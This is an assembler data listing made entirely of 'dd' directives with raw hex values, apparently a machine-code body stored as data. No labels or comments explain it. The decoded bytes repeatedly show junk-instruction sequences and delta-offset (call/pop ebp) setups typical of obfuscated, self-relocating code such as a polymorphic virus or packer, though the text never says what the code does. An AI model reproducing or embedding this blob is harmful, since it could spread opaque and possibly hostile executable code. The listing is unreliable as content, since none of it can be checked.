		dd 169E4336h, 0F9BD2920h, 83060700h, 7126DBDh, 840F0006h
		dd 536h, 5E9h, 625BD300h, 8D8DCD55h, 6073215h, 9E9h, 0BB285800h
		dd 35467DAh, 1C7331Fh, 44B27C84h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0E8C35646h,	0CFCB0181h, 6A1499h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 784F04C3h, 6C58589h,	31600607h, 7315585h, 0FBE6606h
		dd 41C7618Ah, 706B3404h, 51006ACEh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 39621781h, 0AD28DA12h
		dd 10044181h, 6A31D6D7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0F346C351h,	0B1D146F2h
		dd 0F81FABD5h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 32E673C3h, 918FCA5h, 0B71B52Bh
		dd 0BD310607h, 6070BA9h, 3215858Dh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0DEAB2EC3h
		dd 52C1EE25h, 9D7E8DAh,	7275985h, 0F509006h, 128Dh, 50525000h
		dd 5A310F52h, 0F310F58h, 87h, 90585A00h, 8BFFBF0Fh, 72221BDh
		dd 0D595FF06h, 66060715h, 89E6AABFh, 7281DB5h, 158D8D06h
		dd 31060732h, 73079B5h,	1C706h,	0F000000h, 41C7F7BFh, 4
		dd 61858900h, 0B06070Bh, 19840FC0h, 0F000000h, 8D8DF3BFh
		dd 6074E1Ch, 0A9B50951h, 5E060732h, 5B8h, 0F5E1FF00h, 32158D8Dh
		dd 81660607h, 0FC5335C6h, 727C01C7h, 6A44AAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 4EDB1C3h
		dd 0B5EA6750h, 0CB01815Ah, 661499CFh, 0C76D9DBFh, 753C0441h
		dd 8589CE78h, 6071D4Dh,	1269B589h, 41810607h, 0D6D71004h
		dd 52006A31h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 3792C7B5h, 3870C3B1h, 6A0229h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F6C35242h, 57C56BF2h
		dd 8D90E3EEh, 7321585h,	0DE816606h, 50507717h, 0F28B6652h
		dd 4895E5Fh, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0F2CA0ED7h, 95FF13D7h, 60715D5h
		dd 91BD0953h, 5E060700h, 32158D8Dh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5D5572C3h
		dd 12E969h, 77070000h, 0ECC34DF5h, 441BA4E0h, 25BFF389h
		dd 823D0BB5h, 1C7h, 0B58B0000h,	6072751h, 441C7h, 1000000h
		dd 70DC1BDh, 0FC00B06h,	5E84h, 0CECE8100h, 0BE5D6659h
		dd 6465F40Dh, 4E1C8D8Dh, 12E80607h, 0BE000000h,	0A95EA584h
		dd 583E46C9h, 2A857FC2h, 7A10B225h, 0B85EF883h,	5, 3890F60h
		dd 80000000h, 0FF6174CDh, 57006AE1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8BCF8107h
		dd 8D2F5FC1h, 732158Dh,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0A501C742h, 154CA95h
		dd 71D198Dh, 0CB018106h, 6A1499CFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 87DBC355h
		dd 81666EC3h, 0C75B57C6h, 59690441h, 6ACE5Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B211FC3h
		dd 707ADBDh, 81FB8B06h,	0D7100441h, 858931D6h, 6073255h
		dd 858D006Ah, 6073215h,	0FFD78157h, 5F29B9DFh, 7BEB8060h
		dd 5F5B5250h, 8B525061h, 4895EF7h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0C502B502h
		dd 15D595FFh, 0B70F0607h, 158D8DFAh, 6A060732h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0C56DC356h, 0D4F6B339h, 36B4CF52h, 6E9h, 936FEA00h
		dd 66B4CB20h, 1C7FA8Bh,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FEC35242h
		dd 0D080959Fh, 0AEF161D2h, 441C7FEh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 4DC35545h
		dd 0FC00B49h, 8584h, 0FABE6600h, 1C8D8DF5h, 6A06074Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0BFAFC350h, 1C4226AEh, 5B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 8C1E172Dh, 48A0F96h,	66000000h, 8B691BBFh, 72E31B5h
		dd 6AE1FF06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0D1C0C356h, 0DC1B589h,	0CA030607h
		dd 0FFF22DE9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 29C7C2D0h, 29463D67h
		dd 705E185h, 29853106h,	8B060726h, 51006AC1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 81AB2DE8h
		dd 37EFBDEFh, 68C0F61h,	81000000h, 0F48857E7h, 4EB45h
		dd 89000000h, 70BB59Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 9F6EF9FCh, 0AA5693C5h
		dd 58E0FE7h, 66000000h,	8CB3F781h, 785858Dh, 6A0607h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 1EC2B1C3h, 21598D29h, 0E8900607h, 12h, 0DFEF0F59h, 1524EB35h
		dd 3B12C076h, 845F16F7h, 505ECCF4h, 48F0Fh, 0BF660000h
		dd 6690B83Ah, 6A7A3CBFh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 6A006AA8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7B6FC353h
		dd 3DD11Ah, 8DB78D99h, 0AD60485h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 33965505h
		dd 930DD417h, 0E9F6B70Fh, 5, 42058EDAh,	5C083DCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 0D1B53305h
		dd 90060715h, 13E8h, 0F2183F00h, 4A50710Dh, 71531DF6h
		dd 959EA0BEh, 0D1719CB9h, 0BCBF5250h, 0F42A57Ch, 5AF18B31h
		dd 50505F58h, 26A3BE52h, 310F0A76h, 0ED61BF66h,	6A90585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 9C4FC353h, 71B9A04Fh, 7DB58B24h, 6A06070Eh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 6A5F56A8h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95FF39A1h
		dd 60704C1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	6CC35040h, 8DC2ACD6h, 0AA64F9Dh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 8FDCF62Bh, 6AD3FF79h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 527AC350h, 30C52A25h
		dd 800Fh, 85FF0000h, 60732F1h, 21BDB529h, 4AE90607h, 0E8000008h
		dd 0
		dd 0EED815Dh, 66060AD6h, 0BD81FE8Bh, 6072C15h, 7D0h, 18C860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 7DAE8EC3h, 5FAB9520h, 219D8BC3h, 6A060712h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 9401C351h, 0C4CEE3ECh, 0F4D7814Ch, 297868BBh
		dd 708A585h, 0E38106h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 50BBC352h
		dd 3362C4D4h, 70009B5h,	0FDB0B06h, 0B385h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 526206DAh, 0E7E68EFDh, 35EE8141h, 83215790h,	0AD3B9BDh
		dd 840F0006h, 49h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0BFC35141h, 9F3F39Dh,	0AEE8C76h, 0AD95316Ch
		dd 0E9060713h, 5Ah, 14E9h, 0F666CD00h, 83468421h, 21F04046h
		dd 2948013Eh, 0A588C572h, 0B985C79Ah, 1060AD3h,	66000000h
		dd 2FE9F38Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0E92EC353h,	0D7807252h
		dd 0D3B985C7h, 60Ah, 0BF660000h, 9D8DA9C1h, 6071221h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4AC35747h, 0D4FD301Fh
		dd 8E9D3h, 84A90000h, 0B9CA0F8Eh, 23811B1Bh, 0FFFFFEFFh
		dd 8E5BD09h, 8C660607h,	0A58D89DBh, 0F606071Fh,	840F04C3h
		dd 46h,	14AD8589h, 95FF0607h, 6071351h,	81F7BF0Fh, 0DFA789D6h
		dd 5050907Dh, 5B536052h, 0F61F58Ah, 5AF38B31h, 6A9058h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 6D92D5C3h, 0E9E9DEF6h, 0E8000003h, 5, 2F5DEBCCh, 0B05FF7h
		dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 663F1FC3h, 0E42F77BFh, 0E98D8971h, 0F060716h
		dd 0B1BED8B6h, 0BA24CEC8h, 6, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 49C35646h, 0F271A19h, 29B442EDh
		dd 7048985h, 6AC38B06h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 22ECC356h, 0D6518709h
		dd 10A5BD8Bh, 0E8C10607h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 72601325h
		dd 0DCB955F6h, 830F1B98h, 6, 1E85B58Bh,	0F7660607h, 0F6B70FE2h
		dd 0BE66D82Bh, 52509DF2h, 0FE960h, 3D6B0000h, 418C3FA2h
		dd 0A18E7B7h, 3DE6F416h, 0F52508Fh, 61585A31h, 241C895Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F0C35545h
		dd 0D425C6Dh, 1BD9BD23h, 0B5FF0607h, 6072C15h, 0FFF7B70Fh
		dd 716B595h, 29BD8B06h,	0B0060700h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0D8141773h
		dd 0AC600D7Bh, 0BF0F4424h, 6A70E6F9h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 88D2C352h
		dd 1CFD8509h, 71E40607h, 28618D89h, 613C0607h, 256830Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 89790CC3h, 709D1BDh, 9E806h, 0B5AF0000h
		dd 0DDFD9B8Dh, 0F9CA592h, 8Eh, 0B60F5E00h, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0CF7E7F15h, 52064A80h, 8890Fh, 89530000h, 70BE985h
		dd 6BA5E06h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B00C357h, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0BE04A351h, 8B72845Dh, 71BB5BDh, 4E8C106h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 38C35747h, 0F2656B52h
		dd 0AD8D89F8h, 0F06071Ch, 68Fh,	198D2900h, 66060700h, 0D82BE2F7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6FC35747h
		dd 48DF0CC7h, 6A584D27h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 5878C355h, 0B58B602Ch
		dd 60727D1h, 0FD82B61h,	11388h,	1DB58B00h, 0B9060717h
		dd 7, 89F665BEh, 0C18306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 85C35545h, 0D72ADFDEh, 89D88BBBh, 70BB995h
		dd 0FD93B06h, 0CF86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 31EA0B4Ch, 9DBFDB2Fh
		dd 0D98C66F3h, 0FE8h, 3B1DCE00h, 8C03D348h, 0A4CA7045h
		dd 75E7CAC5h, 5EFE8B66h, 0F04C1F6h, 5684h, 7309BF00h, 95FF4ED5h
		dd 6071351h, 359B58Bh, 0BF660607h, 665BB0B6h, 81F6F681h
		dd 0BD23C32Bh, 6072E45h, 8343Dh, 28860F00h, 0F000000h
		dd 51E9F0B7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0C319C353h,	8B4A9158h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 41320ACCh, 1275159Dh, 68E0Fh, 9D310000h
		dd 607306Dh, 0D88BC38Bh, 1AC58D89h, 85C70607h, 6070DC5h
		dd 14DF1311h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	0C4C35343h, 0F71A287h, 389h, 0FE8B6600h, 2353C08Bh
		dd 7252DBDh, 0BD8B5E06h, 6071511h, 2C15BD81h, 7D00607h
		dd 850F0000h, 56h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 14C35646h, 1D5EB118h,	0F80B2A8Bh, 0FE8B6647h
		dd 2C1585FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 67360AC3h, 6CF761A0h, 0D359D31h
		dd 0B5FF0607h, 6072C15h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 20C35646h, 44463F1Ch,	10ADB58Bh, 0B58B0607h
		dd 6070081h, 16B595FFh,	10E90607h, 4C000000h, 0C7ECF8CAh
		dd 0C78E2C23h, 2E645665h, 90B92CC4h, 8A18589h, 8D890607h
		dd 6070999h, 18E0Fh, 81F50000h,	0E809A6D6h, 57006A6Bh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0A88463F8h, 0B58B1179h, 60713E1h, 0B70FBF66h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8AC35646h, 0BCA26848h
		dd 75231EE4h, 0FDBD8BB0h, 6A06070Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 71A0C356h
		dd 28D0Fh, 0F78B0000h, 2D49BD89h, 0B5030607h, 6070245h
		dd 6AF2B70Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 5A11C350h, 6061B8C6h, 2E91B509h
		dd 10E80607h, 0F2000000h, 0DE7CC47Eh, 12F4A230h, 0A17F9C7h
		dd 669583EBh, 39D7DF81h, 0F5BFB8Bh, 68Eh, 91BD8B00h, 6106071Fh
		dd 8D89F98Bh, 60728B1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h
		dd 14C35242h, 4A988565h, 0EE9h,	7A743B00h, 2BE7201Fh, 4ACC41F3h
		dd 8B3E63AAh, 70C59B5h,	0F7D5E906h, 2B60FFFFh, 71E49B5h
		dd 0E1958906h, 89060705h, 720A1B5h, 6E96106h, 0FD000000h
		dd 450C55DBh, 0BC18BF0h, 71D35B5h, 4EB06h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 281EC351h, 32AD9529h, 810F0607h, 0Bh, 5890Fh, 0A8BF0000h
		dd 8D710C3Ah, 7078585h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0B23FE872h, 89583492h
		dd 731D995h, 52509006h,	310F5F57h, 585AF98Bh, 905F5050h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 7AC35141h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 552200C3h, 11890Fh, 5E80000h, 0E9000000h
		dd 9765BE5Ch, 8B0Fh, 6A5F0000h,	5820F00h, 66000000h, 7AB4CE81h
		dd 0E04A858Dh, 6A060Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0C781D8C3h, 472CFD1Dh, 5005C083h
		dd 11850Fh, 0BE80000h, 0FF000000h, 0F8407E56h, 6AEEACA2h
		dd 895F46B7h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 65698DC3h, 66FFC2D8h, 1C01E681h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0F68981C3h, 48BD17D2h, 1958995h, 6A060731h
		dd 859D8900h, 0FF060731h, 704C195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 3522A0D2h
		dd 9D8DB1D0h, 60AA64Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 1C35242h, 0A9A09F63h,	0BED3FF6Bh, 27E77746h
		dd 85FFFB8Bh, 60732F1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0A1C35747h, 7F8E9h, 0E800h, 815D0000h
		dd 0AE054EDh, 12E906h, 0D010000h, 153E4D7Eh, 764FC208h
		dd 444F80BAh, 0B50B4DCDh, 2C15BD81h, 7D00607h, 860F0000h
		dd 131h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	71C35040h, 873EAF77h, 807C064Ch, 118B0Fh, 0CE90000h
		dd 2A000000h, 61AA80EFh, 0C1C05B59h, 8B3497ACh,	712AD9Dh
		dd 0F98B6606h, 100E381h, 12E80000h, 72000000h, 55BF63E1h
		dd 4F525438h, 3EB2F386h, 1EF29B2Ch, 0CDBD89E1h,	5E06071Ah
		dd 850FDB0Bh, 64h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 5BC35646h, 0BE98583h,	0C8000000h, 0CB1B49D7h
		dd 1A2861h, 95894E9Ch, 6071071h, 0DE5DBD83h, 0F00060Ah
		dd 0B84h, 8D78100h, 0E9217535h,	54h, 0DE5D85C7h, 1060Ah
		dd 0BF0F0000h, 0F18D31FBh, 0E906071Bh, 3Ch, 0DE5D85C7h
		dd 60Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 150424h, 52420000h, 8B5455C3h, 70D91BDh, 0AE906h, 501D0000h
		dd 39277426h, 7180FCEDh, 12AD9D8Dh, 0AE90607h, 61000000h
		dd 123514B2h, 9097385Eh, 0FF238158h, 8BFFFFFEh,	70891B5h
		dd 0DB8C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	49C35242h, 66FE8FCBh, 0F9AECFBEh, 0F04C3F6h, 5F84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0C4242C21h, 10E832h, 60370000h, 9F78A576h
		dd 67473E6Fh, 9BAAD27Bh, 8B663F40h, 95FF5FF7h, 6071351h
		dd 1D35BD8Bh, 50900607h, 5840Fh, 0B6BF0000h, 9016D3FEh
		dd 6880Fh, 0BD310000h, 60704C9h, 432E9h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 259F8E94h, 92F2C7D5h, 2C85B50Bh, 0B00607h, 0CE8h, 68F9DE00h
		dd 47F5913Dh, 33810964h, 5EF78B08h, 0A7A5E681h,	70E66CF8h
		dd 1D899589h, 71E40607h, 29D8B60Fh, 721BD8Dh, 6BA06h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 333C20C3h, 3F6DE5D5h, 8BFE8B66h, 55006AC3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 68D0FB4h, 8B000000h
		dd 72709B5h, 4E8C106h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0FC35141h, 3DFC382Dh,	66ED015Dh, 1F2EF81h
		dd 8BE2F766h, 71D95B5h,	50D82B06h, 0A0C0BF66h, 6A241C89h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 3276C350h, 0D8AC7415h, 1B31BD8Bh,	0B5FF0607h
		dd 6072C15h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	85C35242h, 633BAEA4h, 0EC5E1E99h, 0B9BD8BEDh, 0FF060704h
		dd 716B595h, 6600B006h,	70E6F98Bh, 6A71E4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 914758C3h
		dd 87BCB3BFh, 71B58BEAh, 6006072Bh, 68F0Fh, 9D890000h
		dd 6071729h, 0F613C61h,	2A283h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 1524EB35h
		dd 3B12C076h, 0BF0F16F7h, 7D8D09F8h, 0F06070Ah,	6AD8B6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0B3F74EC3h, 8B471274h, 6DB58BF4h, 89060709h,	70401BDh
		dd 6BA06h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 3B633DC3h, 840Fh, 0BD090000h, 6070699h
		dd 0BD8BC38Bh, 6071FF5h, 6A04E8C1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A915C351h
		dd 53158BB6h, 8D29E089h, 60713EDh, 306D9531h, 0F7660607h
		dd 6AD82BE2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 563FC355h, 8B083FBEh, 6A58F2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 11FB06C3h, 6003AB59h, 0B2C0B70Fh, 9E961B6h, 1D000000h
		dd 70C99B39h, 11350D0Eh, 880FD82Bh, 173h, 1F659589h, 7B90607h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0B4A5C355h, 0A88248D4h, 0B94DDF7h
		dd 7213DB5h, 0C18306h, 3BF88B66h, 30860FD9h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 609FC352h, 4DF9BD0Eh, 8C66667Fh, 56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 23B46A6Dh, 0E93B69CBh, 10h, 0D5BECC55h, 1DC80C42h, 6602745h
		dd 7BC9B448h, 0F04C1F6h, 0C784h, 0E820F00h, 0E9000000h
		dd 9, 0F815AE16h, 0B13B621h, 0EEEE81C3h, 0FF674468h, 7135195h
		dd 860F06h, 5B000000h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 56C35646h, 0BD8994C5h, 60727F1h, 6AC32Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0C209B7C3h, 8343D06h, 860F0000h
		dd 50h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
		dd 9CC35646h, 32E9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0C1C8B022h, 5E9h, 0F0AAF900h
		dd 0B501436Bh, 6070CA5h, 8BF8C08Bh, 0E9D88BC3h,	13h, 0D5874DF1h
		dd 9C092921h, 6AF1E5E1h, 1BA806C0h, 0C7F4DE18h,	7122185h
		dd 8675F906h, 0DBC78137h, 8B3FD023h, 53006AC0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 127AC955h
		dd 280BBEDDh, 0BD812B53h, 6072C15h, 7D0h, 16850Fh, 0BD8B0000h
		dd 6070589h, 2D53EE81h,	85FF57A3h, 6072C15h, 9C29BE66h
		dd 2C15B5FFh, 0FFF90607h, 716B595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0C35979A0h
		dd 8C0FF618h, 6, 248DBD8Bh, 6A900607h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 9F1CC351h
		dd 13E8E3h, 0C1140000h,	0ABEB52B8h, 0BA4C5BA5h,	0CA17B91Eh
		dd 5FD0C351h, 0E9BD8B9Eh, 5F06071Ah, 0B2DF8166h, 6820F23h
		dd 8B000000h, 71B49BDh,	85858906h, 0BE06071Bh, 44A77514h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 81C35141h
		dd 40EA5856h, 8166C1B4h, 66BF4DDFh, 8933D6BEh, 712DDB5h
		dd 0A1B58B06h, 0E9060727h, 0Ah,	0AB9FB2Eh, 557036FDh, 6AC953h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 1E9A51C3h, 40D8C399h, 1B58B52h, 0F060726h, 6AFEBFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 5C7557C3h, 0BF718Ah,	0E96BCAB0h, 10h, 6621085Ah, 943B7952h
		dd 0C67742EEh, 0EF143C73h, 0B29B58Bh, 12E90607h, 89FFFFF8h
		dd 72AC195h, 32BF6606h,	8BC18B2Ch, 70501BDh, 4EB06h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 765FC356h, 0B407040Ah, 59B58BCEh,	57060732h
		dd 6830Fh, 85890000h, 60721D1h,	0BDBF665Fh, 0BD8B51A5h
		dd 6070409h, 85858D5Fh,	81060707h, 3D8519C7h, 0FE8902Ah
		dd 0DC000000h, 0CAE837D3h, 4EDFE28Ch, 0F728B4D9h, 505E435Dh
		dd 9E8h, 2DCE2A00h, 0AD7D5D01h,	7E8DFE0h, 55000000h, 1915695Dh
		dd 8B66DE1Eh, 905F5EF9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0BBC35545h, 0B8182578h, 0B5893CF3h, 6073251h
		dd 2E85B58Bh, 6A0607h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 64C35646h, 287DB58Bh,	6A0607h, 0EE9h
		dd 9D210100h, 56892135h, 1AB71E10h, 2B850C15h, 71681B5h
		dd 30858D06h, 89060AEAh, 7020DBDh, 5C08306h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D4C35141h, 7EB6C2D9h
		dd 6EFE5EA0h, 8B6650D6h, 240489F0h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0DBC35545h,	724615F4h, 6AF38Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F2C35545h
		dd 6A006A14h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 89DEC351h, 7004195h, 0C195FF06h
		dd 6A060704h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8DB7C351h, 0AA64F9Dh, 0D3FFF806h
		dd 5E956h, 0C0F0000h, 5F97A667h, 3075B58Bh, 85FF0607h
		dd 60732F1h, 1FB1B52Bh,	4CE90607h, 0E8000008h, 0
		dd 3AED815Dh, 52060AEAh, 85E2D7BEh, 0BD815E23h,	6072C15h
		dd 7D0h, 18A860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5453AAC3h, 0CFD6E18Fh
		dd 6810Fh, 0BD8B0000h, 6070FE5h, 141D9D8Bh, 11E90607h
		dd 0E7000000h, 0FC9674C7h, 512DDEE3h, 84AFBDBCh, 0FEB712C4h
		dd 100E381h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
